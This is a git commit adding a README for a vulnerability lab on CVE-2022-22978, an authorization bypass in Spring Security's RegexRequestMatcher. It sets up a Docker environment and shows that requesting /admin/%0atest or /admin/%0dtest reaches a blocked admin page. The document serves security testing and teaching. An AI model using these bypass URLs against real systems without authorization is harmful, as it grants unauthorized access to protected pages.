first commit

spring/CVE-2022-22978/README.md

@@ -0,0 +1,31 @@
+# Spring Security Authorization Bypass in RegexRequestMatcher (CVE-2022-22978)
+
+[中文版本(Chinese version)](README.zh-cn.md)
+
+The Spring Security framework is used to provide security authentication functionality in the Spring framework. In Spring Security versions 5.5.6 and 5.6.3 and older unsupported versions, applications using RegexRequestMatcher with `.` in the regular expression are possibly vulnerable to an authorization bypass.
+
+References:
+
+- <https://tanzu.vmware.com/security/cve-2022-22978>
+- <https://github.com/DeEpinGh0st/CVE-2022-22978>
+
+## Vulnerability Environment
+
+Execute the following command to start a Web application based on Spring Security 5.6.3:
+
+```
+docker compose up -d
+```
+
+After the server starts, browse to <http://your-ip:8080/admin> to see that access to the admin page is blocked.
+
+![](forbidden.png)
+
+## Vulnerability Reproduce
+
+Send the following request to access the admin page that bypassed the authentication:
+
+- <http://your-ip:8080/admin/%0atest>
+- <http://your-ip:8080/admin/%0dtest>
+
+![](bypassed.png)